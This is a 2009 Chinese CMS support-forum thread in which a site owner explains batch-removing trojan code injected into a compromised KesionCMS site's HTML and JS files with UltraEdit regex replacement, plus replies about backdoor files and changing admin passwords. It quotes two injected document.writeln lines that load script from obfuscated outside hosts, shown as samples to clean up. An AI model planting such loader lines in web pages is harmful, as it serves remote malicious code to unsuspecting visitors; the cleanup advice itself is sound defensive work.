账号通
    

账号  

密码  

10436

查看

18

回复
主题:[原创]三分钟批量清除HTML和JS内木马代码方法详细图解 [收藏主题] 转到:  
liu123456 当前离线

309

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:1462 分
登录次数:107 次
注册时间:2007/8/5
最后登录:2013/1/31
liu123456 发表于:2009/10/2 11:04:00   | 显示全部帖子 查看该作者主题 楼主 
科汛在线商城系统(NET)

第一步:将服务器或者虚拟主机的HTML文件夹下载到本机,保存目录为HTML

 

第二步:用软件“ultraedit”对所在文件夹进行批量替换:

 

第三步:使用正则替换:

 

大家看这位朋友的代码:

document.writeln('<script id="scr7ipt5552" type="text/javascript" src="http://pt928.99%36%36.org" language="JavaScript"  ><\/script>');

document.writeln('<script language="JavaScript" src="http://pt%3928.%39%3966.org" type="text/javascript" id="scr7ipt938"  ><\/script>');

 

由于每个代码内都包含:id="scr

 

我觉得这个和我们的采集规则一样,所以我们的正则替换代码如下

清除JS内代码请用规则如下:

第一正则:document.writeln('<script*id="scr*><\/script>');

 

清除HTML代码规则如下:

第二正则:<script*id="scr*></script>

 

大家选择替换的时候一定要钩上“使用正则替换”!!!

 

第四步:点击全部替换

 

使用这四个步骤可以在不用重新发布HTML的情况下将木马代码清除,这个帖子是根据帖子http://bbs.kesion.com/dispbbs.asp?boardid=44&id=93390&page=&star=2

整理而成

 

希望对大家能起到一点帮助!

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
liu123456 当前离线

309

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:1462 分
登录次数:107 次
注册时间:2007/8/5
最后登录:2013/1/31
liu123456 发表于:2009/10/2 17:03:00   | 显示全部帖子 查看该作者主题 沙发 
科汛在线网校系统
以下是引用komkom在2009-10-2 16:59:00的发言:
累,html文件重新生成就好了,没必要这么复杂吧.而且这种做法治标不治本,把官网说的两个文件删了,修改后台路径,密码,验证码才是目前唯一出路

我怕对搜索工具有影响,因为有的标签重新生成内容也变了,所以手动删掉一些~~

 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
liu123456 当前离线

309

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:1462 分
登录次数:107 次
注册时间:2007/8/5
最后登录:2013/1/31
liu123456 发表于:2009/10/2 17:00:00   | 显示全部帖子 查看该作者主题 藤椅 
科汛在线商城系统(NET)
要把使用正则替换勾上,你中木马的代码是什么样的?
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
liu123456 当前离线

309

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:1462 分
登录次数:107 次
注册时间:2007/8/5
最后登录:2013/1/31
liu123456 发表于:2009/10/2 12:39:00   | 显示全部帖子 查看该作者主题 板凳 
科汛在线网校系统
下载以后记得搜索一下'HTML"的ASP文件和PAGE开头的文件,这两个估计也是后门
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
liu123456 当前离线

309

主题

0

广播

0

粉丝
添加关注
级别:三年级

用户积分:1462 分
登录次数:107 次
注册时间:2007/8/5
最后登录:2013/1/31
liu123456 发表于:2009/10/2 11:07:00   | 显示全部帖子 查看该作者主题 报纸 
有用的话大家顶一下,别让帖子沉底了……
 
  支持(0) | 反对(0) 回到顶部顶端 回到底部底部
<上一主题 | 下一主题 >
Powered By KesionCMS Version X1
厦门科汛软件有限公司 © 2006-2016 页面执行7.57813秒 powered by KesionCMS 9.0